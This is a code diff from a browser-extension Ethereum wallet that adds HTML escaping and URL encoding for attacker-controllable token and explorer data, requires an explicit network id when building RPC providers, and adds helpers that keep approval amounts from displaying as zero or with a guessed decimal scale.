         `<span class="flex justify-between" style="width:42ch;max-width:100%">` +
-        `<span>${symbol}</span>` +
+        `<span>${escapeHtml(displaySymbol(symbol))}</span>` +
         `<span>${qty}</span>` +
         `</span>` +
         `<span class="text-right text-muted flex-1">${usd}</span>` +
@@ -289,12 +313,6 @@ function addressDotHtml(address) {
     return `<span style="width:8px;height:8px;border-radius:50%;display:inline-block;background:${color};margin-right:4px;vertical-align:middle;flex-shrink:0;"></span>`;
 }
 
-function escapeHtml(s) {
-    const div = document.createElement("div");
-    div.textContent = s;
-    return div.innerHTML;
-}
-
 // Look up an address across all wallets and return its title
 // (e.g. "Address 1.2") or null if it's not one of ours.
 function addressTitle(address, wallets) {
@@ -382,13 +400,26 @@ const EXT_ICON =
     `<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` +
     `</svg></span>`;
 
-function etherscanAddressUrl(address) {
-    return `${currentNetwork().explorerUrl}/address/${address}`;
+// Block-explorer URLs. The origin is a per-network constant from
+// src/shared/networks.js; only the path segment is data, and it comes out
+// of explorer JSON (a transaction's from/to, a token's address_hash), which
+// nothing upstream validates as hex. percent-encoding it keeps a segment
+// that contains a slash, a query or a fragment from re-pointing the link
+// somewhere else in the explorer.
+function explorerUrl(kind, value) {
+    return `${currentNetwork().explorerUrl}/${kind}/${encodeURIComponent(value)}`;
 }
 
+function etherscanAddressUrl(address) {
+    return explorerUrl("address", address);
+}
+
+// The URL still has to be escaped on the way into href="...": encoding
+// governs what the URL means, escaping governs whether it stays inside the
+// attribute.
 function etherscanLinkHtml(url) {
     return (
-        `<a href="${url}" target="_blank" rel="noopener" ` +
+        `<a href="${escapeHtml(url)}" target="_blank" rel="noopener" ` +
         `class="inline-flex items-center">${EXT_ICON}</a>`
     );
 }
@@ -492,6 +523,7 @@ module.exports = {
     addressColor,
     addressDotHtml,
     escapeHtml,
+    displaySymbol,
     addressTitle,
     formatAddressHtml,
     renderAddressHtml,
@@ -499,6 +531,7 @@ module.exports = {
     attachCopyHandlers,
     etherscanAddressUrl,
     etherscanLinkHtml,
+    explorerUrl,
     EXT_ICON,
     truncateMiddle,
     isoDate,

src/popup/views/home.js

@@ -8,6 +8,7 @@ const {
     addressDotHtml,
     addressTitle,
     escapeHtml,
+    displaySymbol,
     truncateMiddle,
     renderAddressHtml,
     attachCopyHandlers,
@@ -109,10 +110,13 @@ function renderHomeTxList(ctx) {
                 : tx.direction === "sent" || tx.direction === "contract"
                   ? tx.to
                   : tx.from;
-        const dirLabel = tx.directionLabel;
+        // directionLabel is the explorer's own method name for a contract
+        // call, title-cased — attacker-chosen for an attacker's contract.
+        const dirLabel = escapeHtml(tx.directionLabel);
+        const sym = displaySymbol(tx.symbol);
         const amountStr = tx.value
-            ? escapeHtml(tx.value + " " + tx.symbol)
-            : escapeHtml(tx.symbol);
+            ? escapeHtml(tx.value + " " + sym)
+            : escapeHtml(sym);
         const title = addressTitle(counterparty, state.wallets);
         const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
         const displayAddr = title || truncateMiddle(counterparty, maxAddr);
@@ -226,7 +230,7 @@ function walletListHtml() {
         const defect = walletDefect(wallet);
         html += `<div>`;
         html += `<div class="flex justify-between items-center bg-section py-1 px-2" style="margin:0 -0.5rem">`;
-        html += `<span class="font-bold cursor-pointer wallet-name underline decoration-dashed" data-wallet="${wi}">${wallet.name}</span>`;
+        html += `<span class="font-bold cursor-pointer wallet-name underline decoration-dashed" data-wallet="${wi}">${escapeHtml(wallet.name)}</span>`;
         // No "+" on a defective wallet: deriving another address from that
         // xpub would only add one more address the key does not produce
         // under the standard path.
@@ -250,10 +254,13 @@ function walletListHtml() {
             const titleBold = isActive ? "font-bold" : "";
             html += `<div class="text-xs ${titleBold}">Address ${ai + 1}</div>`;
             if (addr.ensName) {
-                html += `<div class="text-xs font-bold flex items-center">${dot}${addr.ensName}</div>`;
+                // An ENS reverse record is whatever the name owner set it
+                // to; renderAddressHtml() escapes its own copy of this and
+                // this list was the one that did not.
+                html += `<div class="text-xs font-bold flex items-center">${dot}${escapeHtml(addr.ensName)}</div>`;
             }
             html += `<div class="flex text-xs items-center justify-between">`;
-            html += `<span class="flex items-center break-all">${addr.ensName ? "" : dot}${addr.address}</span>`;
+            html += `<span class="flex items-center break-all">${addr.ensName ? "" : dot}${escapeHtml(addr.address)}</span>`;
             html += `<span class="flex-shrink-0 ml-1">${infoBtn}${removeBtn}</span>`;
             html += `</div>`;
             const addrTotal = formatAddressTotal(getAddressValue(addr));

src/popup/views/receive.js

@@ -5,6 +5,7 @@ const {
     flashCopyFeedback,
     formatAddressHtml,
     addressTitle,
+    displaySymbol,
     attachCopyHandlers,
     goBack,
 } = require("./helpers");
@@ -44,7 +45,7 @@ function show() {
         }
         warningEl.textContent =
             "This is an ERC-20 token. Only send " +
-            symbol +
+            displaySymbol(symbol) +
             " on " +
             currentNetwork().name +
             " to this address. Sending tokens on other networks will result in permanent loss.";

src/popup/views/send.js

@@ -4,6 +4,7 @@ const {
     $,
     showFlash,
     addressTitle,
+    displaySymbol,
     renderAddressHtml,
     attachCopyHandlers,
     goBack,
@@ -131,7 +132,7 @@ function renderSendTokenSelect(addr) {
         if (state.hideLowHolderTokens && isLowHolderCount(t.holders)) continue;
         const opt = document.createElement("option");
         opt.value = t.address;
-        opt.textContent = t.symbol;
+        opt.textContent = displaySymbol(t.symbol);
         sel.appendChild(opt);
     }
 }
@@ -201,7 +202,7 @@ function init(_ctx) {
         let ensName = null;
         if (to.includes(".") && !to.startsWith("0x")) {
             try {
-                const provider = getProvider(state.rpcUrl);
+                const provider = getProvider(state.rpcUrl, state.networkId);
                 const resolved = await provider.resolveName(to);
                 if (!resolved) {
                     showFlash("Could not resolve " + to);

src/popup/views/settings.js

@@ -4,6 +4,7 @@ const {
     updateDebugBanner,
     showFlash,
     escapeHtml,
+    displaySymbol,
     flashCopyFeedback,
     goBack,
     pushCurrentView,
@@ -43,8 +44,11 @@ function renderSiteList(containerId, siteMap, stateKey) {
     let html = "";
     hostnames.forEach((hostname) => {
         html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`;
-        html += `<span>${hostname}</span>`;
-        html += `<button class="btn-remove-site border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-key="${stateKey}" data-hostname="${hostname}">[x]</button>`;
+        // A hostname the URL parser produced cannot carry a delimiter, so
+        // this is escaped for the rule rather than for a known hole — the
+        // rule being that nothing reaches innerHTML unescaped.
+        html += `<span>${escapeHtml(hostname)}</span>`;
+        html += `<button class="btn-remove-site border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-key="${escapeHtml(stateKey)}" data-hostname="${escapeHtml(hostname)}">[x]</button>`;
         html += `</div>`;
     });
     container.innerHTML = html;
@@ -73,9 +77,10 @@ function renderTrackedTokens() {
     }
     let html = "";
     state.trackedTokens.forEach((token, idx) => {
+        const sym = escapeHtml(displaySymbol(token.symbol));
         const label = token.name
-            ? escapeHtml(token.name) + " (" + escapeHtml(token.symbol) + ")"
-            : escapeHtml(token.symbol);
+            ? escapeHtml(token.name) + " (" + sym + ")"
+            : sym;
         html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`;
         html += `<span>${label}</span>`;
         html += `<button class="btn-remove-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-idx="${idx}">[x]</button>`;

src/popup/views/settingsAddToken.js

@@ -1,4 +1,4 @@
-const { $, showView, showFlash, goBack } = require("./helpers");
+const { $, showView, showFlash, escapeHtml, goBack } = require("./helpers");
 const { getTopTokens } = require("../../shared/tokenList");
 const { state, saveState } = require("../../shared/state");
 const { lookupTokenInfo } = require("../../shared/balances");
@@ -26,11 +26,11 @@ function renderTop10() {
                 : "border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs";
             return (
                 `<button class="settings-addtoken-quick ${cls}"` +
-                ` data-address="${t.address}"` +
-                ` data-symbol="${t.symbol}"` +
-                ` data-decimals="${t.decimals}"` +
-                ` data-name="${(t.name || "").replace(/"/g, "&quot;")}"` +
-                `${tracked ? " disabled" : ""}>${t.symbol}</button>`
+                ` data-address="${escapeHtml(t.address)}"` +
+                ` data-symbol="${escapeHtml(t.symbol)}"` +
+                ` data-decimals="${escapeHtml(t.decimals)}"` +
+                ` data-name="${escapeHtml(t.name || "")}"` +
+                `${tracked ? " disabled" : ""}>${escapeHtml(t.symbol)}</button>`
             );
         })
         .join("");
@@ -62,11 +62,11 @@ function renderDropdown() {
         const tracked = isTracked(t.address);
         const label = tokenLabel(t) + (tracked ? " (tracked)" : "");
         html +=
-            `<option value="${t.address}"` +
-            ` data-symbol="${t.symbol}"` +
-            ` data-decimals="${t.decimals}"` +
-            ` data-name="${(t.name || "").replace(/"/g, "&quot;")}"` +
-            `${tracked ? " disabled" : ""}>${label}</option>`;
+            `<option value="${escapeHtml(t.address)}"` +
+            ` data-symbol="${escapeHtml(t.symbol)}"` +
+            ` data-decimals="${escapeHtml(t.decimals)}"` +
+            ` data-name="${escapeHtml(t.name || "")}"` +
+            `${tracked ? " disabled" : ""}>${escapeHtml(label)}</option>`;
     }
     sel.innerHTML = html;
 }
@@ -133,7 +133,11 @@ function init(_ctx) {
         infoEl.style.visibility = "visible";
         log.debugf("Looking up token contract", addr);
         try {
-            const info = await lookupTokenInfo(addr, state.rpcUrl);
+            const info = await lookupTokenInfo(
+                addr,
+                state.rpcUrl,
+                state.networkId,
+            );
             log.infof("Adding token", info.symbol, addr);
             state.trackedTokens.push({
                 address: addr,

src/popup/views/transactionDetail.js

@@ -15,9 +15,11 @@ const {
     attachCopyHandlers,
     copyableHtml,
     etherscanLinkHtml,
+    explorerUrl,
+    displaySymbol,
     goBack,
 } = require("./helpers");
-const { state, currentNetwork } = require("../../shared/state");
+const { state } = require("../../shared/state");
 const { formatEther, formatUnits } = require("ethers");
 const makeBlockie = require("ethereum-blockies-base64");
 const { log, debugFetch } = require("../../shared/log");
@@ -44,7 +46,7 @@ function getTransactionType(tx) {
 
 function blockieHtml(address) {
     const src = makeBlockie(address);
-    return `<img src="${src}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
+    return `<img src="${escapeHtml(src)}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
 }
 
 function txAddressHtml(address, ensName, title) {
@@ -56,7 +58,7 @@ function txAddressHtml(address, ensName, title) {
 }
 
 function txHashHtml(hash) {
-    const link = `${currentNetwork().explorerUrl}/tx/${hash}`;
+    const link = explorerUrl("tx", hash);
     const extLink = etherscanLinkHtml(link);
     return copyableHtml(hash, "break-all") + extLink;
 }
@@ -101,9 +103,10 @@ function render() {
     $("tx-detail-to").innerHTML = txAddressHtml(tx.to, tx.toEns, toTitle);
 
     // Exact amount (full precision, copyable)
+    const detailSym = displaySymbol(tx.symbol);
     const exactStr = tx.exactValue
-        ? tx.exactValue + " " + tx.symbol
-        : tx.directionLabel + " " + tx.symbol;
+        ? tx.exactValue + " " + detailSym
+        : tx.directionLabel + " " + detailSym;
     $("tx-detail-value").innerHTML = copyableHtml(exactStr, "font-bold");
 
     // Native quantity (raw integer, copyable)
@@ -133,7 +136,7 @@ function render() {
     if (tokenContractSection && tokenContractEl) {
         if (tx.contractAddress) {
             const dot = addressDotHtml(tx.contractAddress);
-            const link = `${currentNetwork().explorerUrl}/token/${tx.contractAddress}`;
+            const link = explorerUrl("token", tx.contractAddress);
             tokenContractEl.innerHTML =
                 `<div class="flex items-center">${dot}` +
                 copyableHtml(tx.contractAddress, "break-all") +
@@ -185,7 +188,7 @@ function showDetailField(sectionId, contentId, value) {
 function populateOnChainDetails(txData) {
     // Block number
     if (txData.block_number != null) {
-        const blockLink = `${currentNetwork().explorerUrl}/block/${txData.block_number}`;
+        const blockLink = explorerUrl("block", String(txData.block_number));
         const blockSection = $("tx-detail-block-section");
         const blockEl = $("tx-detail-block");
         if (blockSection && blockEl) {
@@ -309,7 +312,7 @@ async function loadFullTxDetails(txHash, toAddress) {
                     // Token entry: show symbol on its own line, then address via shared renderer
                     const tokenSymbol = d.value.match(/^(\S+)\s*\(/)?.[1];
                     if (tokenSymbol) {
-                        detailsHtml += `<div class="font-bold">${escapeHtml(tokenSymbol)}</div>`;
+                        detailsHtml += `<div class="font-bold">${escapeHtml(displaySymbol(tokenSymbol))}</div>`;
                     }
                     detailsHtml += renderAddressHtml(d.address);
                 } else if (d.address) {

src/popup/views/txStatus.js

@@ -9,10 +9,12 @@ const {
     attachCopyHandlers,
     copyableHtml,
     etherscanLinkHtml,
+    explorerUrl,
+    displaySymbol,
     clearViewStack,
 } = require("./helpers");
 const { TOKEN_BY_ADDRESS } = require("../../shared/tokenList");
-const { state, currentNetwork } = require("../../shared/state");
+const { state } = require("../../shared/state");
 const { getProvider } = require("../../shared/balances");
 const { log } = require("../../shared/log");
 
@@ -62,13 +64,13 @@ function toAddressHtml(address) {
 }
 
 function txHashHtml(hash) {
-    const link = `${currentNetwork().explorerUrl}/tx/${hash}`;
+    const link = explorerUrl("tx", hash);
     return copyableHtml(hash, "break-all") + etherscanLinkHtml(link);
 }
 
 function blockNumberHtml(blockNumber) {
     const num = String(blockNumber);
-    const link = `${currentNetwork().explorerUrl}/block/${num}`;
+    const link = explorerUrl("block", num);
     return copyableHtml(num) + etherscanLinkHtml(link);
 }
 
@@ -80,7 +82,10 @@ function startWait(txInfo, txHash, broadcastTime, pollNow) {
     endWait();
     const id = waitId;
 
-    const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
+    const symbol =
+        txInfo.token === "ETH"
+            ? "ETH"
+            : displaySymbol(txInfo.tokenSymbol || "?");
     $("wait-tx-summary").textContent = txInfo.amount + " " + symbol;
     $("wait-tx-to").innerHTML = toAddressHtml(txInfo.to);
     $("wait-tx-hash").innerHTML = txHashHtml(txHash);
@@ -108,7 +113,7 @@ function startWait(txInfo, txHash, broadcastTime, pollNow) {
         renderElapsed();
     }, 1000);
 
-    const provider = getProvider(state.rpcUrl);
+    const provider = getProvider(state.rpcUrl, state.networkId);
     let consecutiveFailures = 0;
 
     async function poll() {
@@ -211,7 +216,10 @@ function restoreWait() {
 function showSuccess(txInfo, txHash, blockNumber) {
     endWait();
 
-    const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
+    const symbol =
+        txInfo.token === "ETH"
+            ? "ETH"
+            : displaySymbol(txInfo.tokenSymbol || "?");
     state.viewData = {
         amount: txInfo.amount,
         symbol: symbol,
@@ -299,7 +307,10 @@ function renderSuccess() {
 function showError(txInfo, txHash, message) {
     endWait();
 
-    const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
+    const symbol =
+        txInfo.token === "ETH"
+            ? "ETH"
+            : displaySymbol(txInfo.tokenSymbol || "?");
     state.viewData = {
         amount: txInfo.amount,
         symbol: symbol,

src/shared/amountDisplay.js

@@ -0,0 +1,46 @@
+// The 4-decimal amount rule from README.md's Display Consistency section, and
+// the one exception to it, in one place. Three call sites had grown their own
+// copy of the truncation — the history and balance lists
+// (`src/shared/transactions.js`), the approval screen's ERC-20 amount line
+// (`src/popup/views/approval.js`) and its Uniswap swap detail lines
+// (`src/shared/uniswap.js`) — and a fix applied to one of them left the other
+// two showing a different number for the same value.
+//
+// The two functions below are the two policies, not two implementations of
+// one: summary lists truncate, and the screens that state what is being
+// authorized truncate with a floor. Keeping them adjacent is the point, so a
+// change to the rule cannot reach one screen and miss another.
+
+// Truncate to exactly four decimal places. Truncation, never rounding: an
+// amount must never be displayed as larger than it is, so 0.99999 stays
+// 0.9999.
+function truncateAmount(val) {
+    const parts = val.split(".");
+    if (parts.length === 1) return val + ".0000";
+    return parts[0] + "." + (parts[1] + "0000").slice(0, 4);
+}
+
+// The same rule, plus the invariant the approval and confirmation screens
+// hold: a nonzero amount never renders as zero. Truncating to four decimals
+// does exactly that to an amount below 0.0001 — one base unit of an 18-decimal
+// token, 500 of an 8-decimal one — and a real transfer or allowance then reads
+// as "nothing is being moved" on the screen whose whole job is to say what is
+// being authorized.
+//
+// When the truncated string carries no significant digit and the value does,
+// the amount is extended to its first significant digit instead. It stays in
+// token units, the same unit as the symbol printed beside it. A genuine zero
+// still renders 0.0000, and anything at or above the floor is untouched.
+function truncateAmountNeverZero(val) {
+    const truncated = truncateAmount(val);
+    // Tests the whole truncated string, integer part included: 1.00005 has a
+    // significant digit already and stays 1.0000.
+    if (/[1-9]/.test(truncated)) return truncated;
+    const parts = val.split(".");
+    if (parts.length === 1) return truncated;
+    const sig = parts[1].search(/[1-9]/);
+    if (sig === -1) return truncated;
+    return parts[0] + "." + parts[1].slice(0, sig + 1);
+}
+
+module.exports = { truncateAmount, truncateAmountNeverZero };

src/shared/approvalAmount.js

@@ -0,0 +1,103 @@
+// The scale an ERC-20 amount in a dApp's calldata is displayed with, and what
+// to display when there is no such scale.
+//
+// The approval screen decodes `transfer` and `approve` calldata into a
+// quantity the user confirms against. That quantity is a base-unit integer,
+// and turning it into a number a person can read needs the token's decimals.
+// Assuming a scale is how a drain gets confirmed: a `transfer` of 5000000000
+// units of a 6-decimal token is 5,000 tokens, but formatted with the ERC-20
+// default of 18 it reads `0.0000`, and a user who reads zero signs.
+//
+// So a scale is either found or the amount is not formatted. Decimals are
+// looked for in the bundled token list, then in the tokens the user tracks,
+// then in what the block explorer reported for the contract; where none of
+// them answers, unknownDecimalsAmount() renders the base-unit integer with the
+// unknown scale stated, and no formatUnits() call is reached at all.
+//
+// This is the display counterpart to transferAmount.js, which takes the same
+// stance on the wallet's own send path: an amount whose scale is unknown or
+// disputed is refused rather than guessed at.
+
+// Solidity's decimals() is a uint8, and every source here is ultimately
+// reporting that call's result.
+const { MAX_DECIMALS } = require("./transferAmount");
+const { TOKEN_BY_ADDRESS } = require("./tokenList");
+
+// A decimals value as a number, or null if it is not one. The bundled list
+// stores numbers, the explorer's copy arrives as a string, and a token the
+// user added by hand can carry whatever lookupTokenInfo() got back, so the
+// accepted types are enumerated rather than coerced: Number([]) is 0 and
+// Number(true) is 1, so a coercing check would read an empty array as a scale
+// of zero and format the amount as whole tokens.
+function toDecimals(value) {
+    let n;
+    if (typeof value === "number") {
+        n = value;
+    } else if (typeof value === "bigint") {
+        if (value < 0n || value > BigInt(MAX_DECIMALS)) return null;
+        n = Number(value);
+    } else if (typeof value === "string") {
+        if (!/^[0-9]+$/.test(value)) return null;
+        n = Number(value);
+    } else {
+        return null;
+    }
+    if (!Number.isInteger(n) || n < 0 || n > MAX_DECIMALS) return null;
+    return n;
+}
+
+// Every decimals the explorer reported for this contract, across all the
+// addresses whose balances have been fetched. They describe one contract, so
+// they should agree; a set that does not agree is a scale in dispute, and this
+// screen has no way to tell which member is the true one.
+function explorerDecimals(lower, wallets) {
+    let found = null;
+    for (const wallet of wallets || []) {
+        for (const addr of wallet.addresses || []) {
+            for (const tb of addr.tokenBalances || []) {
+                if ((tb.address || "").toLowerCase() !== lower) continue;
+                const d = toDecimals(tb.decimals);
+                if (d === null) continue;
+                if (found !== null && found !== d) return null;
+                found = d;
+            }
+        }
+    }
+    return found;
+}
+
+// The decimals to render a token amount with, or null when nothing knows.
+// `sources` is { trackedTokens, wallets }, both shaped as they are on `state`.
+function resolveTokenDecimals(tokenAddress, sources) {
+    const lower = (tokenAddress || "").toLowerCase();
+    if (!lower) return null;
+
+    const bundled = TOKEN_BY_ADDRESS.get(lower);
+    if (bundled) {
+        const d = toDecimals(bundled.decimals);
+        if (d !== null) return d;
+    }
+
+    const tracked = ((sources && sources.trackedTokens) || []).find(
+        (t) => (t.address || "").toLowerCase() === lower,
+    );
+    if (tracked) {
+        const d = toDecimals(tracked.decimals);
+        if (d !== null) return d;
+    }
+
+    return explorerDecimals(lower, sources && sources.wallets);
+}
+
+// What the amount line reads when the scale is unknown. The base units are
+// exact and the caveat is part of the same string, so the number on the screen
+// cannot be mistaken for a token quantity, and it can never read as zero for a
+// transfer that is not zero.
+function unknownDecimalsAmount(rawAmount) {
+    return String(rawAmount) + " base units (decimals unknown)";
+}
+
+module.exports = {
+    resolveTokenDecimals,
+    unknownDecimalsAmount,
+};

src/shared/balances.js

@@ -9,6 +9,7 @@ const {
     formatUnits,
 } = require("ethers");
 const { ERC20_ABI } = require("./constants");
+const { NETWORKS } = require("./networks");
 const { log, debugFetch } = require("./log");
 const { deriveAddressFromXpub } = require("./wallet");
 const { TOKEN_BY_ADDRESS } = require("./tokenList");
@@ -17,17 +18,38 @@ const { isSpoofedSymbol } = require("./symbolSpoof");
 
 // Use a static network to skip auto-detection (which can fail and cause
 // "could not coalesce error" on some RPC endpoints like Cloudflare).
-// Accepts an optional networkName ("mainnet" or "sepolia") for the static
-// network hint so ethers picks the right chain parameters.  When omitted,
-// reads the currently selected network from extension state.
-function getProvider(rpcUrl, networkName) {
-    // Lazy require to avoid circular dependency issues at module scope.
-    const { currentNetwork } = require("./state");
-    const name = networkName || currentNetwork().id;
-    const net = Network.from(name);
+//
+// `networkId` is REQUIRED, and is one of the ids in networks.js. It used to be
+// optional, falling back to currentNetwork() — the module-level `state`
+// singleton, which the MV3 service worker never populates. The endpoint then
+// came out right and the static hint came out mainnet, so ethers fixed
+// `chainId` at 0x1 and every non-mainnet dApp send was prepared for the wrong
+// chain and then refused by the wallet's own verifier
+// (https://git.eeqj.de/sneak/AutistMask/issues/320). Requiring it is what
+// stops that from coming back: a caller that has no network to name has no
+// business constructing a provider, and there is no longer a default for it
+// to get silently wrong.
+//
+// Validated against NETWORKS rather than passed straight to Network.from():
+// ethers knows chains this wallet does not, so an id that is not one of ours
+// is a caller bug and must not resolve to a working provider for some other
+// chain.
+function getProvider(rpcUrl, networkId) {
+    const net = Network.from(requireNetworkId(networkId).id);
     return new JsonRpcProvider(rpcUrl, net, { staticNetwork: net });
 }
 
+function requireNetworkId(networkId) {
+    const net = NETWORKS[networkId];
+    if (!net) {
+        throw new Error(
+            "getProvider requires the id of a supported network; got " +
+                JSON.stringify(networkId),
+        );
+    }
+    return net;
+}
+
 function formatBalance(wei) {
     const eth = formatEther(wei);
     const parts = eth.split(".");
@@ -118,9 +140,15 @@ async function fetchTokenBalances(address, blockscoutUrl, trackedTokens) {
 }
 
 // Fetch ETH balances, ENS names, and ERC-20 token balances for all addresses.
-async function refreshBalances(wallets, rpcUrl, blockscoutUrl, trackedTokens) {
+async function refreshBalances(
+    wallets,
+    rpcUrl,
+    blockscoutUrl,
+    trackedTokens,
+    networkId,
+) {
     log.debugf("refreshBalances start, rpc:", rpcUrl);
-    const provider = getProvider(rpcUrl);
+    const provider = getProvider(rpcUrl, networkId);
     const updates = [];
 
     for (const wallet of wallets) {
@@ -193,9 +221,9 @@ async function refreshBalances(wallets, rpcUrl, blockscoutUrl, trackedTokens) {
 
 // Look up token metadata from its contract.
 // Calls symbol() and decimals() to verify it implements ERC-20.
-async function lookupTokenInfo(contractAddress, rpcUrl) {
+async function lookupTokenInfo(contractAddress, rpcUrl, networkId) {
     log.debugf("lookupTokenInfo", contractAddress, "rpc:", rpcUrl);
-    const provider = getProvider(rpcUrl);
+    const provider = getProvider(rpcUrl, networkId);
     const contract = new Contract(contractAddress, ERC20_ABI, provider);
 
     let name, symbol, decimals;
@@ -235,9 +263,9 @@ async function lookupTokenInfo(contractAddress, rpcUrl) {
 // Checks gapLimit addresses in parallel per batch.  Stops when an entire
 // batch has no used addresses (i.e. gapLimit consecutive empty addresses).
 // Returns { addresses: [{ address, index }], nextIndex }.
-async function scanForAddresses(xpub, rpcUrl, gapLimit = 5) {
+async function scanForAddresses(xpub, rpcUrl, networkId, gapLimit = 5) {
     log.debugf("scanForAddresses start, gapLimit:", gapLimit);
-    const provider = getProvider(rpcUrl);
+    const provider = getProvider(rpcUrl, networkId);
     const used = [];
     let checked = 0;
     let checkUpTo = gapLimit;

src/shared/chainSwitch.js

@@ -1,14 +1,23 @@
-// Consolidated chain-switch handler.
+// Consolidated chain-switch handler for the popup.
 //
 // Every state change required when the active network changes is
-// performed here so that callers (settings UI, background
-// wallet_switchEthereumChain, future chain additions) all go
+// performed here so that callers (settings UI, future chain additions) all go
 // through a single code path.
 //
 // Adding a new chain (e.g. ETC) requires only a new entry in
 // networks.js — no per-caller wiring is needed.
+//
+// The background does NOT come through here: this function mutates the
+// module-level `state` singleton, which the MV3 service worker never
+// populates, and a background switch performed on it wrote DEFAULT_STATE over
+// the user's whole profile
+// (https://git.eeqj.de/sneak/AutistMask/issues/316). The field mutations
+// themselves live in chainSwitchFields.js, which takes the record to mutate as
+// an argument; src/background/state.js applies them inside a read-modify-write
+// against storage, and the singleton is not reachable from the background
+// bundle at all (enforced by the ESLint rule in eslint.config.js).
 
-const { networkById } = require("./networks");
+const { applyChainSwitchFields } = require("./chainSwitchFields");
 const { clearPrices } = require("./prices");
 
 // Switch the active chain and reset all chain-specific cached state.
@@ -16,56 +25,14 @@ const { clearPrices } = require("./prices");
 async function onChainSwitch(newNetworkId) {
     const { state, saveState } = require("./state");
 
-    const net = networkById(newNetworkId);
-
-    // --- core identity ---
-    // Endpoints are remembered per network rather than reset to the
-    // defaults, because a user who points the wallet at their own node has
-    // no way to get that URL back once it is gone: overwriting it moved
-    // every address and every transaction onto a third-party endpoint
-    // silently and permanently.
-    //
-    // state.rpcUrl / state.blockscoutUrl stay the live endpoints of the
-    // active network, so nothing that reads them changes. The invariant is
-    // that for the ACTIVE network those two fields are authoritative and
-    // the map entry may be stale (Settings writes the fields directly);
-    // for every other network the map is authoritative. Snapshotting the
-    // outgoing network here, before the switch, is what reconciles them.
-    state.networkEndpoints[state.networkId] = {
-        rpcUrl: state.rpcUrl,
-        blockscoutUrl: state.blockscoutUrl,
-    };
-    const remembered = state.networkEndpoints[net.id] || {};
-    state.networkId = net.id;
-    state.rpcUrl = remembered.rpcUrl || net.defaultRpcUrl;
-    state.blockscoutUrl = remembered.blockscoutUrl || net.defaultBlockscoutUrl;
+    const net = applyChainSwitchFields(state, newNetworkId);
 
     // --- price cache ---
     // Prices are chain-specific (testnet tokens are worthless,
-    // ETC has different pricing, etc.).
+    // ETC has different pricing, etc.). In-memory and per bundle, so this is
+    // the popup's own cache — the only context that ever fills it.
     clearPrices();
 
-    // --- balance / refresh state ---
-    // Reset last-refresh timestamp so the next polling cycle
-    // triggers an immediate balance refresh on the new chain.
-    state.lastBalanceRefresh = 0;
-
-    // Clear per-address balances and token balances so stale data
-    // from the previous chain is never displayed while the first
-    // refresh on the new chain is in flight.
-    for (const wallet of state.wallets) {
-        for (const addr of wallet.addresses) {
-            addr.balance = "0";
-            addr.tokenBalances = [];
-        }
-    }
-
-    // --- chain-specific caches ---
-    // Token holder counts and fraud contract lists are
-    // chain-specific and must not carry over.
-    state.tokenHolderCache = {};
-    state.fraudContracts = [];
-
     await saveState();
 
     return net;

src/shared/chainSwitchFields.js

@@ -0,0 +1,69 @@
+// The field mutations a chain switch performs, applied to a state record
+// handed in rather than to the module-level `state` singleton.
+//
+// Split out of chainSwitch.js so the background can perform a chain switch
+// without the singleton being reachable from its bundle at all. The popup
+// still goes through onChainSwitch() (chainSwitch.js), which applies this to
+// the singleton and saves; the background applies it to the detached record of
+// its own read-modify-write (src/background/state.js).
+//
+// Everything here is synchronous and touches nothing but the object it is
+// given: no storage, no caches, no imports beyond the network table. That is
+// what makes it usable on a record that has been read fresh from storage
+// microseconds earlier and is about to be written back.
+
+const { networkById } = require("./networks");
+
+// Switch `s` to `newNetworkId` and reset every piece of chain-specific state
+// it carries. Returns the network configuration object for the new chain.
+function applyChainSwitchFields(s, newNetworkId) {
+    const net = networkById(newNetworkId);
+
+    // --- core identity ---
+    // Endpoints are remembered per network rather than reset to the
+    // defaults, because a user who points the wallet at their own node has
+    // no way to get that URL back once it is gone: overwriting it moved
+    // every address and every transaction onto a third-party endpoint
+    // silently and permanently.
+    //
+    // s.rpcUrl / s.blockscoutUrl stay the live endpoints of the active
+    // network, so nothing that reads them changes. The invariant is that for
+    // the ACTIVE network those two fields are authoritative and the map entry
+    // may be stale (Settings writes the fields directly); for every other
+    // network the map is authoritative. Snapshotting the outgoing network
+    // here, before the switch, is what reconciles them.
+    if (!s.networkEndpoints) s.networkEndpoints = {};
+    s.networkEndpoints[s.networkId] = {
+        rpcUrl: s.rpcUrl,
+        blockscoutUrl: s.blockscoutUrl,
+    };
+    const remembered = s.networkEndpoints[net.id] || {};
+    s.networkId = net.id;
+    s.rpcUrl = remembered.rpcUrl || net.defaultRpcUrl;
+    s.blockscoutUrl = remembered.blockscoutUrl || net.defaultBlockscoutUrl;
+
+    // --- balance / refresh state ---
+    // Reset last-refresh timestamp so the next polling cycle
+    // triggers an immediate balance refresh on the new chain.
+    s.lastBalanceRefresh = 0;
+
+    // Clear per-address balances and token balances so stale data
+    // from the previous chain is never displayed while the first
+    // refresh on the new chain is in flight.
+    for (const wallet of s.wallets || []) {
+        for (const addr of wallet.addresses || []) {
+            addr.balance = "0";
+            addr.tokenBalances = [];
+        }
+    }
+
+    // --- chain-specific caches ---
+    // Token holder counts and fraud contract lists are
+    // chain-specific and must not carry over.
+    s.tokenHolderCache = {};
+    s.fraudContracts = [];
+
+    return net;
+}
+
+module.exports = { applyChainSwitchFields };

src/shared/ens.js

@@ -32,11 +32,11 @@ function setCache(address, name) {
     localStorage.setItem(key, JSON.stringify({ name, ts: Date.now() }));
 }
 
-async function resolveEnsName(address, rpcUrl) {
+async function resolveEnsName(address, rpcUrl, networkId) {
     const cached = getCached(address);
     if (cached !== undefined) return cached;
 
-    const provider = getProvider(rpcUrl);
+    const provider = getProvider(rpcUrl, networkId);
     try {
         const name = (await provider.lookupAddress(address)) || null;
         setCache(address, name);
